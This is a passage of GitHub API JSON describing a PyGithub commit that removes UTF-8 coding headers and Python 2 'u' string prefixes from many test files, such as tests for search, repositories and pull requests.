u\"https://developer.github.com/v3/orgs/members/#create-organization-invitation\",\n- u\"message\": u\"You must be an admin to create an invitation to an organization.\",\n+ \"documentation_url\": \"https://developer.github.com/v3/orgs/members/#create-organization-invitation\",\n+ \"message\": \"You must be an admin to create an invitation to an organization.\",\n },\n )\n "},{"sha":"55bea2436e4b3e2a53950c0ed7263ffe4e9c00b4","filename":"tests/Organization1437.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FOrganization1437.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FOrganization1437.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FOrganization1437.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Anuj Bansal #"},{"sha":"5977198f413ead1f4cba0c76cbf428702c16f67a","filename":"tests/OrganizationHasInMembers.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FOrganizationHasInMembers.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FOrganizationHasInMembers.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FOrganizationHasInMembers.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2016 Matthew Neal #"},{"sha":"ae06e90257846a448d228f98660a6a5f5e291b38","filename":"tests/PaginatedList.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPaginatedList.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPaginatedList.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPaginatedList.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"e5e45ae35d033ca0623c38f1062193cc214b20d8","filename":"tests/Persistence.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPersistence.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPersistence.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPersistence.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"489e0846fe7fe45a2e387d0886a20f53b309c1c6","filename":"tests/Project.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FProject.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FProject.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FProject.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n # ########################## Copyrights and license ############################\n # #\n # Copyright 2018 bbi-yggy #"},{"sha":"63ba64e1f02c2c0e6c2998b992841948be6a30d3","filename":"tests/Project1434.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FProject1434.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FProject1434.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FProject1434.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n # ########################## Copyrights and license ############################\n # #\n # Copyright 2020 Anuj Bansal #"},{"sha":"7df02fa58a5cad870c959a9244844ef128281d52","filename":"tests/ProjectColumn.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FProjectColumn.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FProjectColumn.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FProjectColumn.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n # ########################## Copyrights and license ############################\n # #\n # This file is part of PyGithub. #"},{"sha":"a52dd3ca526d18b606ce2853d73a4f29d54f18be","filename":"tests/PullRequest.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequest.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"3570500567dee9a96a819028731a33b63d12d7be","filename":"tests/PullRequest1168.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1168.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1168.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequest1168.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Olof-Joachim Frahm #"},{"sha":"dd7730d38cc7680148142c6126d2dabe2af2b5b0","filename":"tests/PullRequest1169.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1169.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1169.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequest1169.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Olof-Joachim Frahm #"},{"sha":"21a698368d0a49174e5e311da4b4a983bfcac5f0","filename":"tests/PullRequest1375.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1375.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1375.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequest1375.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Olof-Joachim Frahm #"},{"sha":"29006b8c4dbdca6ae7de5b53ed00de68eed2e9d7","filename":"tests/PullRequest1682.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1682.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequest1682.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequest1682.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\r\n-\r\n ############################ Copyrights and license ############################\r\n # #\r\n # Copyright 2020 Victor Zeng #\r"},{"sha":"2c9bb454061201e18d28a0f840533c17fa2f70d8","filename":"tests/PullRequestComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequestComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequestComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequestComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"025af8dbc5a88c682a4bfd5132cae6fc824dfa10","filename":"tests/PullRequestFile.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequestFile.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequestFile.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequestFile.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"a2e317cc462a0d3277607ffd0a8337fcf576fcc6","filename":"tests/PullRequestReview.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequestReview.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FPullRequestReview.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FPullRequestReview.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Aaron Levine #"},{"sha":"d8bd7a3b4ed1a87993cd6ff24ac36e1b3f4a9ab9","filename":"tests/RateLimiting.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRateLimiting.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRateLimiting.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FRateLimiting.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"963231b1fd0f37132fe7768db1ec47dad360b502","filename":"tests/RawData.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRawData.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRawData.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FRawData.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"a9aa619a04c960ac6fa9eaf0e906eeb9a1c6b790","filename":"tests/Reaction.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FReaction.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FReaction.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FReaction.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Nicolas Agustín Torres #"},{"sha":"d0b8af387482b241940e6fcfcf4b0b1089c6bc1a","filename":"tests/ReleaseAsset.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FReleaseAsset.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FReleaseAsset.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FReleaseAsset.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Chris McBride #"},{"sha":"88e6aa8d43fe4d51e18c48e809275933451cf9da","filename":"tests/Repository.py","status":"modified","additions":11,"deletions":13,"changes":24,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRepository.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRepository.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FRepository.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -473,8 +471,8 @@ def testCollaboratorPermissionNoPushAccess(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/collaborators/#review-a-users-permission-level\",\n- u\"message\": u\"Must have push access to view collaborator permission.\",\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/collaborators/#review-a-users-permission-level\",\n+ \"message\": \"Must have push access to view collaborator permission.\",\n },\n )\n \n@@ -1094,12 +1092,12 @@ def testGetStargazersWithDates(self):\n stargazers,\n lambda stargazer: (stargazer.starred_at, stargazer.user.login),\n [\n- (datetime.datetime(2014, 8, 13, 19, 22, 5), u\"sAlexander\"),\n- (datetime.datetime(2014, 10, 15, 5, 2, 30), u\"ThomasG77\"),\n- (datetime.datetime(2015, 4, 14, 15, 22, 40), u\"therusek\"),\n- (datetime.datetime(2015, 4, 29, 0, 9, 40), u\"athomann\"),\n- (datetime.datetime(2015, 4, 29, 14, 26, 46), u\"jcapron\"),\n- (datetime.datetime(2015, 5, 9, 19, 14, 45), u\"JoePython1\"),\n+ (datetime.datetime(2014, 8, 13, 19, 22, 5), \"sAlexander\"),\n+ (datetime.datetime(2014, 10, 15, 5, 2, 30), \"ThomasG77\"),\n+ (datetime.datetime(2015, 4, 14, 15, 22, 40), \"therusek\"),\n+ (datetime.datetime(2015, 4, 29, 0, 9, 40), \"athomann\"),\n+ (datetime.datetime(2015, 4, 29, 14, 26, 46), \"jcapron\"),\n+ (datetime.datetime(2015, 5, 9, 19, 14, 45), \"JoePython1\"),\n ],\n )\n self.assertEqual(repr(stargazers[0]), 'Stargazer(user=\"sAlexander\")')\n@@ -1248,7 +1246,7 @@ def testGetDeployments(self):\n \n def testCreateFile(self):\n newFile = \"doc/testCreateUpdateDeleteFile.md\"\n- content = \"Hello world\".encode()\n+ content = b\"Hello world\"\n author = github.InputGitAuthor(\n \"Enix Yu\", \"enix223@163.com\", \"2016-01-15T16:13:30+12:00\"\n )\n@@ -1666,7 +1664,7 @@ def testGetLicense(self):\n \n def testGetTopics(self):\n topic_list = self.repo.get_topics()\n- topic = u\"github\"\n+ topic = \"github\"\n self.assertIn(topic, topic_list)\n \n def testReplaceTopics(self):\n@@ -1691,7 +1689,7 @@ class LazyRepository(Framework.TestCase):\n def setUp(self):\n super().setUp()\n self.user = self.g.get_user()\n- self.repository_name = \"%s/%s\" % (self.user.login, \"PyGithub\")\n+ self.repository_name = \"{}/{}\".format(self.user.login, \"PyGithub\")\n \n def getLazyRepository(self):\n return self.g.get_repo(self.repository_name, lazy=True)"},{"sha":"4e290ab5d901a44e6dfead8253d02aeb871376ed","filename":"tests/RepositoryKey.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRepositoryKey.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRepositoryKey.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FRepositoryKey.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"f1c3d2d0af1f013b265408aed52ed8ecd1ec81dd","filename":"tests/RequiredPullRequestReviews.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRequiredPullRequestReviews.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRequiredPullRequestReviews.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FRequiredPullRequestReviews.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Steve Kowalik #"},{"sha":"882c57c55a0fb838921448798c49261b42d5c118","filename":"tests/RequiredStatusChecks.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRequiredStatusChecks.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRequiredStatusChecks.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FRequiredStatusChecks.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Steve Kowalik #"},{"sha":"940d405848b2609feee66e507956aa828120d423","filename":"tests/Retry.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRetry.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRetry.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FRetry.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Justin Kufro #"},{"sha":"f7e2ffe175a990f0d5b6c24981c10e6993c5bcbf","filename":"tests/Search.py","status":"modified","additions":115,"deletions":117,"changes":232,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FSearch.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FSearch.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FSearch.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2014 Vincent Jacques #\n@@ -43,41 +41,41 @@ def testPaginateSearchUsers(self):\n users,\n lambda u: u.login,\n [\n- u\"cloudhead\",\n- u\"felixge\",\n- u\"sferik\",\n- u\"rkh\",\n- u\"jezdez\",\n- u\"janl\",\n- u\"marijnh\",\n- u\"nikic\",\n- u\"igorw\",\n- u\"froschi\",\n- u\"svenfuchs\",\n- u\"omz\",\n- u\"chad\",\n- u\"bergie\",\n- u\"roidrage\",\n- u\"pcalcado\",\n- u\"durran\",\n- u\"hukl\",\n- u\"mttkay\",\n- u\"aFarkas\",\n- u\"ole\",\n- u\"hagenburger\",\n- u\"jberkel\",\n- u\"naderman\",\n- u\"joshk\",\n- u\"pudo\",\n- u\"robb\",\n- u\"josephwilk\",\n- u\"hanshuebner\",\n- u\"txus\",\n- u\"paulasmuth\",\n- u\"splitbrain\",\n- u\"langalex\",\n- u\"bendiken\",\n- u\"stefanw\",\n+ \"cloudhead\",\n+ \"felixge\",\n+ \"sferik\",\n+ \"rkh\",\n+ \"jezdez\",\n+ \"janl\",\n+ \"marijnh\",\n+ \"nikic\",\n+ \"igorw\",\n+ \"froschi\",\n+ \"svenfuchs\",\n+ \"omz\",\n+ \"chad\",\n+ \"bergie\",\n+ \"roidrage\",\n+ \"pcalcado\",\n+ \"durran\",\n+ \"hukl\",\n+ \"mttkay\",\n+ \"aFarkas\",\n+ \"ole\",\n+ \"hagenburger\",\n+ \"jberkel\",\n+ \"naderman\",\n+ \"joshk\",\n+ \"pudo\",\n+ \"robb\",\n+ \"josephwilk\",\n+ \"hanshuebner\",\n+ \"txus\",\n+ \"paulasmuth\",\n+ \"splitbrain\",\n+ \"langalex\",\n+ \"bendiken\",\n+ \"stefanw\",\n ],\n )\n self.assertEqual(users.totalCount, 6038)\n@@ -87,36 +85,36 @@ def testGetPageOnSearchUsers(self):\n self.assertEqual(\n [u.login for u in users.get_page(7)],\n [\n- u\"ursachec\",\n- u\"bitboxer\",\n- u\"fs111\",\n- u\"michenriksen\",\n- u\"witsch\",\n- u\"booo\",\n- u\"mortice\",\n- u\"r0man\",\n- u\"MikeBild\",\n- u\"mhagger\",\n- u\"bkw\",\n- u\"fwbrasil\",\n- u\"mschneider\",\n- u\"lydiapintscher\",\n- u\"asksven\",\n- u\"iamtimm\",\n- u\"sneak\",\n- u\"kr1sp1n\",\n- u\"Feh\",\n- u\"GordonLesti\",\n- u\"annismckenzie\",\n- u\"eskimoblood\",\n- u\"tsujigiri\",\n- u\"riethmayer\",\n- u\"lauritzthamsen\",\n- u\"scotchi\",\n- u\"peritor\",\n- u\"toto\",\n- u\"hwaxxer\",\n- u\"lukaszklis\",\n+ \"ursachec\",\n+ \"bitboxer\",\n+ \"fs111\",\n+ \"michenriksen\",\n+ \"witsch\",\n+ \"booo\",\n+ \"mortice\",\n+ \"r0man\",\n+ \"MikeBild\",\n+ \"mhagger\",\n+ \"bkw\",\n+ \"fwbrasil\",\n+ \"mschneider\",\n+ \"lydiapintscher\",\n+ \"asksven\",\n+ \"iamtimm\",\n+ \"sneak\",\n+ \"kr1sp1n\",\n+ \"Feh\",\n+ \"GordonLesti\",\n+ \"annismckenzie\",\n+ \"eskimoblood\",\n+ \"tsujigiri\",\n+ \"riethmayer\",\n+ \"lauritzthamsen\",\n+ \"scotchi\",\n+ \"peritor\",\n+ \"toto\",\n+ \"hwaxxer\",\n+ \"lukaszklis\",\n ],\n )\n \n@@ -128,41 +126,41 @@ def testSearchRepos(self):\n repos,\n lambda r: r.full_name,\n [\n- u\"kennethreitz/legit\",\n- u\"RuudBurger/CouchPotatoV1\",\n- u\"gelstudios/gitfiti\",\n- u\"gpjt/webgl-lessons\",\n- u\"PyGithub/PyGithub\",\n- u\"aaasen/github_globe\",\n- u\"hmason/gitmarks\",\n- u\"dnerdy/factory_boy\",\n- u\"binaryage/drydrop\",\n- u\"bgreenlee/sublime-github\",\n- u\"karan/HackerNewsAPI\",\n- u\"mfenniak/pyPdf\",\n- u\"skazhy/github-decorator\",\n- u\"llvmpy/llvmpy\",\n- u\"lexrupy/gmate\",\n- u\"ask/python-github2\",\n- u\"audreyr/cookiecutter-pypackage\",\n- u\"tabo/django-treebeard\",\n- u\"dbr/tvdb_api\",\n- u\"jchris/couchapp\",\n- u\"joeyespo/grip\",\n- u\"nigelsmall/py2neo\",\n- u\"ask/chishop\",\n- u\"sigmavirus24/github3.py\",\n- u\"jsmits/github-cli\",\n- u\"lincolnloop/django-layout\",\n- u\"amccloud/django-project-skel\",\n- u\"Stiivi/brewery\",\n- u\"webpy/webpy.github.com\",\n- u\"dustin/py-github\",\n- u\"logsol/Github-Auto-Deploy\",\n- u\"cloudkick/libcloud\",\n- u\"berkerpeksag/github-badge\",\n- u\"bitprophet/ssh\",\n- u\"azavea/OpenTreeMap\",\n+ \"kennethreitz/legit\",\n+ \"RuudBurger/CouchPotatoV1\",\n+ \"gelstudios/gitfiti\",\n+ \"gpjt/webgl-lessons\",\n+ \"PyGithub/PyGithub\",\n+ \"aaasen/github_globe\",\n+ \"hmason/gitmarks\",\n+ \"dnerdy/factory_boy\",\n+ \"binaryage/drydrop\",\n+ \"bgreenlee/sublime-github\",\n+ \"karan/HackerNewsAPI\",\n+ \"mfenniak/pyPdf\",\n+ \"skazhy/github-decorator\",\n+ \"llvmpy/llvmpy\",\n+ \"lexrupy/gmate\",\n+ \"ask/python-github2\",\n+ \"audreyr/cookiecutter-pypackage\",\n+ \"tabo/django-treebeard\",\n+ \"dbr/tvdb_api\",\n+ \"jchris/couchapp\",\n+ \"joeyespo/grip\",\n+ \"nigelsmall/py2neo\",\n+ \"ask/chishop\",\n+ \"sigmavirus24/github3.py\",\n+ \"jsmits/github-cli\",\n+ \"lincolnloop/django-layout\",\n+ \"amccloud/django-project-skel\",\n+ \"Stiivi/brewery\",\n+ \"webpy/webpy.github.com\",\n+ \"dustin/py-github\",\n+ \"logsol/Github-Auto-Deploy\",\n+ \"cloudkick/libcloud\",\n+ \"berkerpeksag/github-badge\",\n+ \"bitprophet/ssh\",\n+ \"azavea/OpenTreeMap\",\n ],\n )\n \n@@ -202,7 +200,7 @@ def testSearchTopics(self):\n self.assertListKeyBegin(\n topics,\n lambda r: r.name,\n- [u\"python\", u\"django\", u\"flask\", u\"ruby\", u\"scikit-learn\", u\"wagtail\"],\n+ [\"python\", \"django\", \"flask\", \"ruby\", \"scikit-learn\", \"wagtail\"],\n )\n \n def testPaginateSearchTopics(self):\n@@ -215,20 +213,20 @@ def testSearchCode(self):\n files,\n lambda f: f.name,\n [\n- u\"Commit.setUp.txt\",\n- u\"PullRequest.testGetFiles.txt\",\n- u\"NamedUser.testGetEvents.txt\",\n- u\"PullRequest.testCreateComment.txt\",\n- u\"PullRequestFile.setUp.txt\",\n- u\"Repository.testGetIssuesWithWildcards.txt\",\n- u\"Repository.testGetIssuesWithArguments.txt\",\n- u\"test_ebnf.cpp\",\n- u\"test_abnf.cpp\",\n- u\"PullRequestFile.py\",\n- u\"SystemCalls.py\",\n- u\"tests.py\",\n- u\"LexerTestCase.py\",\n- u\"ParserTestCase.py\",\n+ \"Commit.setUp.txt\",\n+ \"PullRequest.testGetFiles.txt\",\n+ \"NamedUser.testGetEvents.txt\",\n+ \"PullRequest.testCreateComment.txt\",\n+ \"PullRequestFile.setUp.txt\",\n+ \"Repository.testGetIssuesWithWildcards.txt\",\n+ \"Repository.testGetIssuesWithArguments.txt\",\n+ \"test_ebnf.cpp\",\n+ \"test_abnf.cpp\",\n+ \"PullRequestFile.py\",\n+ \"SystemCalls.py\",\n+ \"tests.py\",\n+ \"LexerTestCase.py\",\n+ \"ParserTestCase.py\",\n ],\n )\n self.assertEqual(files[0].repository.full_name, \"PyGithub/PyGithub\")"},{"sha":"f464d8c7756b3f15006b06a97a5554689531a010","filename":"tests/SelfHostedActionsRunner.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FSelfHostedActionsRunner.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FSelfHostedActionsRunner.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FSelfHostedActionsRunner.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\r\n-\r\n ############################ Copyrights and license ############################\r\n # #\r\n # Copyright 2020 Victor Zeng 